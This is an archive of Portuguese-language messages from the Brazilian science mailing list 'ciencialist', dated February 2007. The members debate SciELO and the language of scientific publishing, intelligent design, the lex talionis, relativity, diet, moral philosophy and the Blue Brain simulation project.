tornou-se obrigação para cientistas naturais. Primeiro, para ganhar
visibilidade fora do país. Depois, para ter acesso aos "quality
journals" (periódicos de primeira linha), dotados de "peer review"
(revisão por pares) e "high impact factor" (altos índices de impacto)
que embasbacam os apontadores de produtividade da burocracia
financiadora. Nem tudo que se publica em ciência, porém, tem interesse
ou aplicação internacional. Estudos biomédicos ou agrícolas, por
exemplo, muitas vezes restringem-se a fenômenos regionais.

Torná-los disponíveis para os diretamente afetados -especialistas em
saúde ou extensionistas rurais- é vital para melhorar seu desempenho.
O dilema "inglês versus português" está no centro de artigo publicado
por Rogério Meneghini e Abel Packer -em inglês, decerto- no periódico
"EMBO Reports" (www.nature.com/embor/journal/v8/n2/full/7400906.html).
Já traduzido, seu título pergunta: "Existe Ciência Fora do Inglês?"
Meneghini e Packer são dois dos motores por trás da iniciativa que
mais fez, provavelmente, para aumentar a visibilidade da ciência
brasileira -interna e externamente. Trata-se da SciELO
(www.scielo.br), ou "Scientific Electronic Library Online".

Como o nome diz -em inglês...-, o portal foi criado para dar acesso
livre a periódicos nacionais (175, hoje). Alguns são publicados
diretamente em língua inglesa, perfazendo 30% dos artigos disponíveis
na base. Outros trazem, ao menos, sumários ("abstracts") nesse idioma.
Como a página na internet tem versão em inglês, em princípio qualquer
cientista do mundo pode pesquisar o que se estuda, no Brasil, em sua
área. A SciELO também tornou mais acessível, para brasileiros e
latino-americanos, a produção científica nacional. Não é preciso saber
inglês nem pagar para utilizar seu dispositivo de busca. Até
jornalistas conseguem usá-lo, e as consultas diárias a artigos já
ultrapassam a média de 200 mil.

Apesar disso, apontam Meneghini e Packer, o idioma de publicação ainda
funciona como um divisor de águas. Dos cerca de 50 mil artigos
científicos produzidos anualmente por brasileiros, 18 mil entram na
base de dados Web of Science ("teia da ciência"), principal ferramenta
internacional de indexação. Destes, só 2,7% saem em português.
Publicar em língua nativa ainda significa, na maioria dos casos, ver
seu trabalho em periódicos de qualidade e impacto inferiores.

A SciELO tem feito muito pela difusão da produção científica autóctone
entre aqueles que não dominam o inglês. Para que a nata dessa produção
fique acessível a todos, porém, seria preciso que congêneres
poderosas, como a Web of Science, divulgassem versões dos artigos
seletos também na língua nativa de seus autores.


MARCELO LEITE é doutor em Ciências Sociais pela Unicamp, autor do
livro paradidático"Pantanal, Mosaico das Águas" (Editora Ática) e
responsável pelo blog Ciência em Dia (www.cienciaemdia.zip.net).
E-mail: cienciaemdia@uol.com.br
_______________________________________________



SUBJECT: Re: Dawkins 'falou e disse' porque estudar Zoologia: "Design Inteligente"!
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/02/2007 00:37

O Enézio não é pra ser levado a sério - a despeito da vontade dele. E,
sim, design inteligente é outro nome para o velho criacionismo.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Joaquim de Campos Salles"
> Olá Pessoal,
>
> Recebi o post abaixo. Design inteligente não é uma forma de
> criacionismo? Dawkins inspirou isso?!?!?!?!?!?
>
> Abraços confusos
>
> Joaquim



SUBJECT: Re: [ciencialist] Re: P/Homero, um conselho:aprenda ética primeiro...
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/02/2007 00:40

Takata escreveu sobre a lei de talião:
[ Na verdade deve ter até mm precedido o surgimento da humanidade (ações
similares são tomadas por chimpanzés e até mm por outros mamíferos sociais -
como as hienas).
.............................

Entendo que seu aparecimento na história da humanidade foi um passo
importante na direção do que chamamos hoje de justiça. O normal do ser
humano ofendido ou agredido é acabar com a raça do provocador. Conseguir
parar uma reação natural de revide, normalmente pontos acima da agressão
recebida, e obter "um julgamento justo que vingue o mal recebido", é um
progresso significativo na aplicação da justiça.
[]s
JR
..............................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 14, 2007 12:18 AM
Subject: [ciencialist] Re: P/Homero, um conselho:aprenda ética primeiro...


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Há controvérsias se Talião foi um legislador ou não.

Talião não é nome de pessoa. Talião tem a mm base de retaliar. Vem do
latim 'talio, onis', q por sua vez deriva de 'talis, e', q significa
'tal, igual'. É o nome q se dá ao sistema de justiça em que a pena por
uma infração é a aplicação da mm ação sobre o infrator: se um sujeito
fere alguém, ele deve ser ferido como punição. Foi a base do primeiro
código escrito de leis conhecido - o de Hamurábi - e deve ter sido
aplicado muito antes do desenvolvimento da escrita. Na verdade deve
ter até mm precedido o surgimento da humanidade (ações similares são
tomadas por chimpanzés e até mm por outros mamíferos sociais - como as
hienas).

Assim, lei de talião não é uma lei desenvolvida por um sujeito chamado
Talião, do mm modo como lei da boa razão não é uma lei desenvolvida
por alguém chamado Boa Razão.

Muita gente boa ainda se engana qto a isso.

[]s,

Roberto Takata



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SUBJECT: Novato no grupo.
FROM: JoãoNeto <joao.neto75@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/02/2007 13:05

Srs.,


Subscreví-me faz pouco tempo no forum. Estou lendo os emails sobre física, que curso. O site do Professor Léo tem sido importante para mim, gosto muito. O Prof. está de parabéns. Dúvidas que tinha tirei lá. Os colegas que o conhecem têem a opinião igual. Paguei uma disciplina de relatividade, e me interessei muito.Notei, como aconteceu comigo(ainda acontece), que os problemas de entendimento certo da teoria da rel. depende da correta compreensão de umas inconsistências da teoria de Newton bem como dos princípios da relatividade de Einstein e o princípio da equivalência. Pelo que ví neste e noutros fóruns, uma das causas de paradoxos é o fraco entendimento das consequências mais faladas, que são contração de comprimentos e dilatação tempo, pelo que tem muitos paradoxos. Os emails que lí sobre o paradoxo dos gêmeos, achei algumas explicações bem interessantes e bem embasadas. Ainda falta compreender alguma coisa. Agora, um consequência que não entendí direito e creio que uns colegas também é a do múon, criado a 10000 ou mais metros de altura e que aparecem ao nível do mar, quando pela fiísica newtoniana isso é impossível. Alguém poderia esclarecer esse tópico? Não ví emails tratando disso, no nível do outro, dos gêmeos. Uma colega me perguntou, foi Einstein quem decretou isso? Dizem que sim, e que a relatividade estaria errada. Sinto que não, mas não sei como justificar isso. Não entendi, em outras palavras, as explicações dadas pelos professores e livros didáticos. Sei fazer os cálculos, apesar disso. Aguardo que os professores do grupo retomem esses assuntos.


João

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Carne: enfim o método
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/02/2007 13:07

Camarão criado em cativeiro é, práticamente, artificial pois é alimentado com produtos que têm a finalidade de apenas torná-los grandes e comerciáveis.É o caso do pitu.
Já o camarão pescado artesanalmente é o melhor: vá prara o cais, espere o barco chegar e compre o crustáceo decápode fresco e saudável.
Os outros sofrem o processamento por nitratos para manter a boa aparência

silvio.
----- Original Message -----
From: LECarvalho
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, February 11, 2007 7:04 PM
Subject: [ciencialist] Carne: enfim o método


At 02:13 11/2/2007, you wrote:

>Sim, as pessoas devem comprar carne de peixe de aquário,

ai, ai, ai...
Mas o de aquário é que é o problema.

Tu faz feira ?
Tu enteinde de camarão ?

O camarão de cativeiro, grande, é mais caro que o
camarão pescado, ainda que pequeno.

Fica ixperto.

L.E.

> ninguém mais
>pesca, ninguém compra carne de pescado fresquinha :-) Faça-me o favor!
>
>O frango é que é o problema, mas tb a carne vermelha é. Ninguém sai
>por aí caçando bois e vacas.
>
>E as verduras, legumes e frutas com agrotóxicos, e se for assim não se
>faz nada, porque os herbívoros devem ingerir agrotóxicos.
>
>Mas a comprovação diz respeito a colesterol e gorduras e nisso as
>carnes brancas são melhores para a saúde humana que as carnes
>vermelhas, com excessão talvez, da carne vermelha magra
>
>Sds,
>Romano
>
>--- Em
><mailto:ciencialist%40yahoogrupos.com.br>ciencialist@yahoogrupos.com.br,
>LECarvalho <lecarvalho@...>
>escreveu
> >
> > At 21:00 10/2/2007, you wrote:
> >
> > >Poder rir a vontade( mas para a saúde as carnes brancas são melhores),
> > >simplesmente porque são carnes magras.
> >
> >
> >
> >
> > Carne branca de peixes criados em cativeiros... cheios de antibiótico ?
> >
> > Carne branca de galinhas criadas dentro de um
> > engradado, com hormonios e outros medicamentos ?
> >
> > Melhor que carne vermelha de caça ?
> >
> >
> > Isto era uma lista de ciencia.
> >
> > Off topic, tudo bem.
> >
> > Mas...
> > violações do método científico também ?
> >
> >
> > L.E.
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
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> > ========================
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[As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: A universalização dos valores morais
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/02/2007 13:36

Olá,

Takata: O problema é desconsiderar o monopolismo e outras tendências
olipolistas. A ideologia *mercantilista* é inerentemente
monopolista...

Manuel: Em nenhum momento relacionei a universalização do valor da
igualdade à ideologia mercantilista em particular, mas ao fenômeno
mais geral que é o desenvolvimento (aparição -> regulamentação ->
generalização) das relações de troca mercantis. Confundir relações
mercantis com mercantilismo é como confundir ciência com
cientificismo.

Por mais desonesto e/ou "amigo do rei", o comerciante admite que a
troca mercantil "deve ser" uma troca de equivalentes ("deve ser", não
necessariamente "é": é isso que distingue a lei natural da norma
social). Pressupõe, portanto, o reconhecimento do outro como igual. A
prática reiterada, por séculos e séculos, do intercâmbio comercial
favoreceu um determinado tipo de juízo em que a igualdade de condição
figura como critério e paradigma.

Manuel escrevera: O Cristianismo, por exemplo (religião sincrética
derivada do monoteísmo judaico, do mitraísmo, do culto de Ísis -
Ísis, assim como Maria, era considerada "a mãe de Deus" -, do
platonismo e do estoicismo), institui a crença de que todos os homens
são irmãos em Cristo.

Takata: E assim q cresceu...

Manuel: ... passou a transgredir, cada vez com maior cinismo e por
razões corporativas, o princípio que ele próprio ajudou a instituir:
a igualdade dos homens diante de Deus (ou da Razão: "No princípio era
o Logos e o Logos estava com Deus e o Logos era Deus" - João, 1:1).
Entretanto, tais transgressões não invalida o princípio moral, dado
que esse não é regra do ser, mas norma do "dever-ser" (deve ser, não
necessariamente é, pode não vir a ser).

Takata: Regra de ouro: todo mundo é igual qdo isso me beneficia
(geralmente isso ocorre qdo eu sou a minoria).

Manuel: Os jogadores frios e os calculistas também sentem remorso;
por mais que racionalizem durante o dia, à noite têm pesadelos. Claro
que há exceções, os sociopatas, por exemplo, indivíduos com lesão ou
disfunção na ínsula anterior e no córtex pré-frontal dorsolateral.

Manuel escrevera: Sim, mas o liberalismo foi, a princípio, uma
doutrina econômica advogada pelos intelectuais orgânicos da burguesia
industrial, cuja principal causa foi a abolição da escravidão e a
defesa da livre "contratação" da força-de-trabalho.

Takata: Da burguesia q queria superar o mercantilismo, posto q isso o
prejudicava - ficavam alijados dos nacos mais rentáveis, q ficava com
a coroa e seus beneficiários diretos.

Manuel: Da burguesia que surgiu quando as relações mercantis se
generalizaram ao ponto de penetrarem na esfera da produção,
instituindo, assim, no lugar da escravidão, o mercado da força-de-
trabalho (em que o trabalhador, antes uma rês, é posto na condição de
sujeito econômico).

Manuel escrevera: Mesmo nas piores das circunstâncias - como a dos
físicos soviéticos incubidos da tarefa de fabricar a bomba atômica
comunista, mantidos por Béria em regime de prisão e sob constantes
ameaças - a pesquisa científica só pode avançar se for assegurado
aos cientistas liberdade de duvidar e de consentir, de elaborar
hipóteses, de questionar essas mesmas hipóteses (tentar falseá-las)
e de desconfiar dos dados da experiência. Isso é "autonomia
individual" nos marcos do Laboratório.

Takata: Uma autonomia individual bastante restrita, não?

Manuel: Sim, uma pequena semente muito fecunda e resistente a
intempéries.

Na ex-URSS os mais destacados dissidentes eram cientistas (como
Andrei Sakarov) e a fração da Nomenklatura que pressionava por
reformas liberalizantes era a fração dos tecnocratas, ligada à
pesquisa científica e liderada por Gorbachev.

Abraços,
Manuel Bulcão



SUBJECT: Re: [ciencialist] Re: A universalização dos valores morais
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/02/2007 18:39

Takata:

Dizqer que um país "roubou" do outro informações sobre tecnologia é algo digno de refçexão: exatamente sobrte a energia termonuclear, as diversas teorias eram repassadas entre os cientistas em diversos páíses, apenas a guerra forçou sigilo sobre o tema; entretanto com a diáspora dos cientistas alemães - muiotos judeus - os processos foram disseminados inclusive na Noruega: e a espionagem que nada mais que comprar de corruptos, também contribuiu para o processo, de ambos os lados.
Note que sobre o radar, desenvolvido na inglaterra, não houve vazamento de informações. Mas sobre a termo-nuclear realmente pairavam dúvidas sob qual estágio estariam os avanços dos beligerantes.
Lembre-se de que Yan Tzu nos ensina que na guerra o elemento mais impotante é o espião e, logo após, as fontes de matérias primas (os alemães não tinham)
A complexidade de tais assuntos é tão vasta, tantos meandros e mentiras que discutí-los hoje nada resolve: O Brasil até entreou na brincadeira, querendo usar o tório e se deu mal.... perdeu tempo. e hoje, para construir um reator para submarino, não sei quantos bilh~ies e quantos anos já foram gastos e não está ainda nem na metade..... E no mercado livre tem pra vender.... tratar com o Osama....

sds.,
silvio
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Monday, February 19, 2007 12:23 AM
Subject: [ciencialist] Re: A universalização dos valores morais


--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> Sem considerar alguns tipos de mercado (monopolista,
> monopsônico...), as relações de troca mercantil são horizontais,

O problema é desconsiderar o monopolismo e outras tendências
olipolistas. A ideologia *mercantilista* é inerentemente monopolista
(a tese completa é longa e complexa, mas o resumo da ópera é "quem tem
mais ganha mais ainda", concentrando a riqueza). A igualdade de
condições só advém com o liberalismo - é necessária a constante
intervenção governamental para manter o q o titio Adam Smith tomou por
premissa (infinitos concorrentes, absoluta liberdade de entrar e sair
do mercado, igualdade de condições de competição, etc).

> O Cristianismo, por exemplo (religião sincrética derivada do
> monoteísmo judaico, do mitraísmo, do culto de Ísis - Ísis, assim
> como Maria, era considerada "a mãe de Deus" -, do platonismo e do
> estoicismo), institui a crença de que todos os homens são irmãos em
> Cristo.

E assim q cresceu...

Regra de ouro: todo mundo é igual qdo isso me beneficia (geralmente
isso ocorre qdo eu sou a minoria).

> Manuel: Sim, mas o liberalismo foi, a princípio, uma doutrina
> econômica advogada pelos intelectuais orgânicos da burguesia
> industrial, cuja principal causa foi a abolição da escravidão e a
> defesa da livre "contratação" da força-de-trabalho.

Da burguesia q queria superar o mercantilismo, posto q isso o
prejudicava - ficavam alijados dos nacos mais rentáveis, q ficava com
a coroa e seus beneficiários diretos.

> Manuel: Mesmo nas piores das circunstâncias - como a dos físicos
> soviéticos incubidos da tarefa de fabricar a bomba atômica
> comunista, mantidos por Béria em regime de prisão e sob constantes
> ameaças - a pesquisa científica só pode avançar se for assegurado
> aos cientistas liberdade de duvidar e de consentir, de elaborar
> hipóteses, de questionar essas mesmas hipóteses (tentar falseá-las)
> e de desconfiar dos dados da experiência. Isso é "autonomia
> individual" nos marcos do Laboratório.

Uma autonomia individual bastante restrita, não?

> Ademais, muitos dos avanços tecnológicos ocorridos da antiga URSS
> devem-se menos a inventividade dos seus cientistas (os melhores
> viviam confinados e incomunicáveis) e mais ao trabalho dos espiões.

Muitos dos avanços americanos (e franceses e ingleses) idem - o
programa espacial roubou os segredos nazistas de foguetes com o
seqüestro e cooptação de cientistas alemães. Abelardo Barbosa foi um
visionário.

[]s,

Roberto Takata






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SUBJECT: A democracia e o 'moralmente correto'
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/02/2007 23:27

Olá,

Interessante esse texto do Tzvetan Todorov, búlgado residente em
Paris, Diretor de pesquisas no Centre National de la Recherche
Scientifique (Centro Nacional de Pesquisa Científica), crítico,
historiador e filósofo:

"A democracia não é um estado 'virtuoso'; ela deixa qualquer um
conceber à sua própria maneira o soberano bem, e limita-se a
controlar os meios para que isso aconteça, proibindo a violência.
Isso não significa que ela seja hostil à moral, mas sim que a
restringe à esfera privada. Ora, o 'moralmente correto' quer reunir
moral e política, se não no seio do Estado, pelo menos na sociedade -
mas, à diferença do que se produz no totalitarismo, aqui a reunião se
organiza sob a égide da moral. Dentro do país, esse desvio favorece a
estigmatização dos transgressores, as lições de moral dirigidas aos
outros e o reinado da consciência limpa. Nas relações entre países
leva-nos ao projeto das cruzadas ou das guerras coloniais travadas em
nome do bem; também aqui, o reconhecimento da pluralidade é
substituído pela tentação de fazer reinar o bem.
"A cada vez, o que é negado é a autonomia do sujeito. De um lado, é o
indivíduo que não tem mais o direito social de exercer seu
julgamento, já que as transgressões ao 'moralmente correto' serão
estigmatizadas. De outro, são os povos ou os Estados que se vêem
privados de sua soberania, e outro Estado ou uma coligação de
Estados, militarmente superiores, arroga-se o direito de ingerência,
apresentando-se como a encarnação do bem a ser imposto aos outros
pela força. A tentação do bem é perigosa: já se devem a ela, no
século XX, as bombas de Hiroshima e Nagasaki, sem falar na 'caça às
bruxas' que aconteceram em diversos países nem um pouco totalitários.
(...) Nem o Estado democrático nem a ordem mundial têm como vocação a
de encarnar o bem; é melhor que a aspiração à santidade permaneça
como assunto privado". - Tzvetan Todorov; "Memória do mal, tentação
do bem: indagações sobre o século XX"; ARX; 2002; pp. 363/364.

Abraços,
Manuel Bulcão



SUBJECT: Animais gregários e justiça de grupo - Re: P/Homero, um conselho:
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/02/2007 00:28

Olá Jose Renato

Renato: "O normal do ser humano ofendido ou agredido é acabar com a
raça do provocador. Conseguir parar uma reação natural de revide,
normalmente pontos acima da agressão recebida, e obter "um julgamento
justo que vingue o mal recebido", é um progresso significativo na
aplicação da justiça."

Na verdade, não. Talvez, e apenas talvez, o surgimento do conceito
abstrato de justiça possa ser, mas o bloqueio é mais de origem
biológica, genética, comportamental, de animais gregários, que uma
decisão voluntária ou intencional.

A natureza, o comportamento padrão, de todo animal gregário, inclusive
seres humanos, é cessar a violência bem antes de matar o adversário.

E é assim mesmo em animais que usam a violência cotidianamente, como
forma de sobreviver, como lobos.

Lobos são animais gregários, cuja colaboração é importante para
sobrevivência, pois caçam animais bem maiores em grupos bem coordenados.

Eventualmente, lobos mais jovens, em posição hierárquica inferior,
tentam tomar o comando e se tornar o macho alpha. Isso envolve lutas
ferozes entre animais ferozes, que usam todas suas armas para subjugar
o adversário.

Mas, ao perceber que não pode vencer, o animal mais fraco deita e
oferece a jugular, o pescoço ao vencedor. Que, com adrenalina a mil,
com toda ferocidade a flor da pele, com todos os hormônios e
mecanismos de luta no auge, ao invés de morder e matar, congela, cessa
imediatamente o combate e permite que o adversário viva.

Por que ele faz isso? Um deus-lobo determinou nas tábuas da lei que
"não matarás outro lobo"? Ou uma compreensão natural de justiça surge
nos lobos?

Não, é que evolutivamente é um comportamento mais vantajoso manter um
valioso membro do grupo, um lobo adulto, forte e capaz, para caçar e
alimentar a matilha, do que matar o adversário.

E isso não significa que o lobo "pense" nisso em qualquer momento.
Significa apenas que, entre as diversas formas de se comportar com
adversários vencidos, não matar trouxe mais vantagens a alcatéia que
matar, e, ao longo dos milhares de anos, apenas alcatéias com genes
que determinassem esse comportamento sobreviveram.

Mesmo o revide, a punição, deriva da necessidade de controlar
comportamentos egoístas entre um grupo altruísta. O altruísmo traz
vantagens ao grupo, mas um único egoísta levaria enorme vantagem nesse
grupo (se todos dividem a comida, quanto a obtém, se um não divide, se
alimentará, em média, mais que os outros).

Somos animais que tendem a "justiça" muito antes de podermos falar ou
elaborar essa noção (e sem necessidade de nenhuma divindade que nos
ensinasse o caminho).

Um abraço.

Homero




SUBJECT: Pesquisadores criam cérebro computadorizado na Suíça
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/02/2007 01:14

Pesquisadores criam cérebro computadorizado na Suíça

Manfred Dworschak

Uma rede de nervos artificiais está crescendo em um supercomputador na
Suíça - que deverá simular um cérebro natural, célula por célula. Os
pesquisadores que trabalham no "Blue Brain" [Cérebro Azul] prometem
novas percepções sobre as origens da consciência humana.

A máquina é linda quando acorda - as células nervosas reluzem na tela
em tons pastel, correntes elétricas brilham através de um labirinto de
sinapses. Logo depois de ligado, o cérebro parece um pouco sonolento,
mas suaves surtos de corrente o despertam totalmente.

Essa peça de hardware inédita consiste em cerca de 10 mil chips de
computador que atuam como células nervosas reais. Para simular um
cérebro natural, parte do córtex cerebral de ratos jovens foi
minuciosamente replicado no computador, célula por célula, juntamente
com a estrutura das sinapses, em forma de árvore.

A simulação foi criada na Universidade Técnica de Lausanne, Suíça,
onde 35 pesquisadores participam da manutenção desse cérebro
artificial. Ele funciona em um dos supercomputadores mais poderosos do
mundo, mas em breve até este ficará pequeno demais. O objetivo é
construir uma máquina eletrônica pensante muito maior, que em última
instância replicaria o cérebro humano.

Um projeto tão ambicioso teria sido ridicularizado alguns anos atrás.
"Hoje temos os computadores de que precisamos", diz o biólogo Henry
Markram, 44, diretor do projeto. "E sabemos o suficiente para começar."

Markram sabe dos problemas que seu grupo deverá enfrentar. "Mas se não
construirmos o cérebro nunca saberemos como ele funciona", diz. Na
verdade, houve avanços formidáveis na pesquisa cerebral nos últimos
anos, mas as respostas para as grandes perguntas são tão vagas quanto
sempre foram. Como se desenvolve a consciência na orquestra elétrica
das células? Como exatamente um lampejo de inteligência se acende da
interação entre os genes, proteínas e substâncias mensageiras?

O modelo de Lausanne é a tentativa mais radical já feita de investigar
o mistério da consciência. A idéia é sedutoramente simples: determinar
como a mente surge da biologia e replicar a biologia. É uma tarefa que
exige enorme paciência e atenção aos detalhes, um processo que
significa copiar a natureza uma molécula de cada vez.

Embora o primeiro cérebro artificial possa parecer simples, será um
modelo útil. Os pesquisadores poderão usá-lo para reproduzir as
funções do órgão real e testar suas teorias. Conforme eles acrescentam
novos processos, o modelo torna-se cada vez mais detalhado - uma
espécie de projeto "wiki" da mente. Ele também apresenta uma vantagem
importante em relação ao cérebro natural, pois permite que os
pesquisadores monitorem cada uma das atividades mentais simuladas na
máquina.
Mas houve atividade mental?

O Blue Brain recém-nascido surpreendeu os cientistas por sua
disposição desde o primeiro dia. Mal lhe haviam fornecido impulsos
elétricos quando estranhos padrões começaram a surgir na tela, com os
clarões semelhantes a relâmpagos produzidos pelas células que os
cientistas identificam com os processos de pensamento reais. Grupos de
neurônios começaram a sintonizar-se até que começaram a disparar
ritmadamente. "Isso aconteceu totalmente por conta própria", diz
Markram. "Espontaneamente."

Construindo o cérebro eletrônico

Dez mil células nervosas artificiais foram entrelaçadas em Lausanne, e
os pesquisadores pretendem aumentar o número para um milhão até o fim
do próximo ano. Isso não significa que eles estejam satisfeitos: o
trabalho está previsto para durar até 2015 ou mais. Então, a menos que
o projeto seja considerado demasiado ambicioso, Markram e sua equipe
pretendem estar prontos para seu objetivo principal: um modelo de
computador do cérebro humano completo - o que neste momento é quase
uma fantasia, diante das cem bilhões de células que eles teriam de
fabricar.

Os céticos se perguntam qual o objetivo de replicar coisas com tanta
dificuldade, se os cientistas têm tão pouca compreensão de seu
objetivo e função. De fato, num futuro previsível ninguém saberá o que
acontece exatamente nos circuitos do cérebro replicado, a não ser que
parece sedutoramente autêntico para um observador externo.

Talvez os únicos que poderiam saber são os ratos que continuam
existindo como sombras nesse supercomputador. Os pesquisadores abriram
milhares de crânios de ratos ao longo dos anos, retiraram seus
cérebros e os cortaram em finas fatias que mantiveram vivas. Então
dirigiram pequenos sensores para cada neurônio. Eles escutaram as
células disparando neurônios e interceptaram as respostas que vinham
das células adjacentes.

As fatias de cérebro foram expostas a variados impulsos elétricos. Os
impulsos refletiam os estímulos que podem ter sido recebidos pelos
cérebros dos ratos de laboratório quando os animais cheiravam queijo
ou eram assustados por uma forma. As células reagiam - assim como
faziam quando os ratos estavam vivos - enviando correntes elétricas
pelo neuroplexo. Os equipamentos de medição dos pesquisadores
registraram todos os sinais até que as fatias de cérebro expiraram.

No final, os pesquisadores do laboratório de Markram coletaram todo o
repertório de comportamento de centenas de tipos de células em todas
as situações concebíveis na vida de um rato - e o armazenaram em
tabelas intermináveis. Essa enorme pilha de dados permitiu que os
cientistas começassem a construir seu substituto digital.


Tradução: Luiz Roberto Mendes Gonçalves



SUBJECT: Fórum Relatividad
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/02/2007 02:19

Lista,

Há algum tempo participo de um fórum espanho, sobre relatividade. Está sendo proveitoso e tem de tudo, lá: relativistas de carteirinha, sem carteirinha, penetras, não relativistas, interessados no assunto, sem outras pretensão que apenas se informar. Tem até gente, lá.
Basicamente, só trata de relatividade, pois os participantes estão centrados nesse ramo do conhecimento. E tem enfoques científicos, nessa área, para todos os gostos. Convido a todos, embora a casa não seja minha.

E-mail, para contato:
relatividad@yahoogroups.com

Gostaria de reencontar amigos do ciencialist por lá.

Sds,
Victor.




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SUBJECT: Re: [ciencialist] Re: P/ bruna - OFF Topic: a questão da carne, minha resposta
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/02/2007 02:35

Prof. Takata:
sua intransigência e apego a um ponto de vistas furado é de tal monta que gostaria que vs,. fizesse um curta, com roteiro, usando câmaras de vigia, fixas ou que se movem sob seu próprio eixo.(Não vale usar recordes das fitas: tem de usar a técnica usual e direção, fotografia, montagem em moviola.... SErá que nunca se pode ter razão? permita-me entender algo....

Um autêntico ferrinho de dentista.....

sds.,

silvio.
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, February 11, 2007 10:36 PM
Subject: [ciencialist] Re: P/ bruna - OFF Topic: a questão da carne, minha resposta


--- Em ciencialist@yahoogrupos.com.br, "Silvio" <scordeiroes@...>
> As de controle não são apontadas, são fixas

Na não. Elas podem girar em torno de seu eixo - horizontal e vertical.
Tecnologia moderna é outra coisa. (De lambuja conseguem facilmente um
zoom de até 200 vezes.)

> e não são câmara para a confecção de filmes de entretenimento.

Documentários tb não. Eventualmente registros científicos são usados
para gerar entretenimento, mas o propósito é outro.

É fato q o crocodilo atacou uma impala (aliás, coisa q acontece um sem
número de vezes no Serengheti ao longo dos anos). Tb é fato q o
hipopótamo avançou sobre o crocodilo (coisa q ocorre de qdo em vez.) O
q parece ser bastante raro (e certamente inesperado) é o hipopótamo
tendo aquele comportamento com a impala: o q significa aquilo? Não se
sabe.

[]s,

Roberto Takata






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SUBJECT: Re: P/ bruna - OFF Topic: a questão da carne, minha resposta
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/02/2007 02:45

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> monta que gostaria que vs,. fizesse um curta, com roteiro, usando

Roteiro? Percebe q com isso vc está sugerindo q o hipopótamo, o
crocodilo e a impala decoraram um script?

[]s,

Roberto Takata



SUBJECT: Re: A universalização dos valores morais
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/02/2007 03:03

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> Manuel: Em nenhum momento relacionei a universalização do valor da
> igualdade à ideologia mercantilista em particular, mas ao fenômeno
> mais geral que é o desenvolvimento (aparição -> regulamentação ->
> generalização) das relações de troca mercantis. Confundir relações
> mercantis com mercantilismo é como confundir ciência com
> cientificismo.

Só q o mercantilismo surgiu desse mm processo de relação de trocas
mercantis. Aliás, humanos se tornaram commodities com o mercantilismo.

> Takata: Regra de ouro: todo mundo é igual qdo isso me beneficia
> (geralmente isso ocorre qdo eu sou a minoria).
>
> Manuel: Os jogadores frios e os calculistas também sentem remorso;

Nada q a suposição de um "bem maior" não possa eventualmente ajudar a
superar.

> Manuel: Da burguesia que surgiu quando as relações mercantis se
> generalizaram ao ponto de penetrarem na esfera da produção,
> instituindo, assim, no lugar da escravidão, o mercado da força-de-
> trabalho (em que o trabalhador, antes uma rês, é posto na condição
> de sujeito econômico).

Da burguesia q produziu a primeira revolução industrial em q crianças
trabalhavam em turnos de 14 horas ou mais... Cujos salários familiares
mal davam para alimentá-los. (Novamente, bom deixar claro q, com isso
não digo q a ausência do mercado seja a melhor alternativa se tomarmos
tudo em conta. Apenas q o mercado não é auto-regulado e muito menos
auto-regulado em relações sociais. A lógica do lucro será libertária
se isso maximizar o lucro e será opressiva se isso maximizar o lucro -
e isso depende de fatores sociais, políticos, ambientais, geográficos,
históricos, etc.)

> Takata: Uma autonomia individual bastante restrita, não?
>
> Manuel: Sim, uma pequena semente muito fecunda e resistente a
> intempéries.

Mas voltando à questão da produtividade científica. A autonomia
individual não se configura como um pré-requisito: pode existir
produtividade científica significativa com ou sem ela. Embora,
reforçando, não esteja eu com isso a dizer q a autonomia individual
não seja um valor a ser defendido - apenas q a produtividade
científica é alheia a isso.

[]s,

Roberto Takata



SUBJECT: Re: Fórum Relatividad
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/02/2007 04:53

Relatividade... teoria da relatividade de Einstein ou relatividade
epistemológica?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@...> escreveu
> Lista,
>
> Há algum tempo participo de um fórum espanho, sobre relatividade.
Está sendo proveitoso e tem de tudo, lá: relativistas de carteirinha,
sem carteirinha, penetras, não relativistas, interessados no assunto,
sem outras pretensão que apenas se informar. Tem até gente, lá.
> Basicamente, só trata de relatividade, pois os participantes estão
centrados nesse ramo do conhecimento. E tem enfoques científicos,
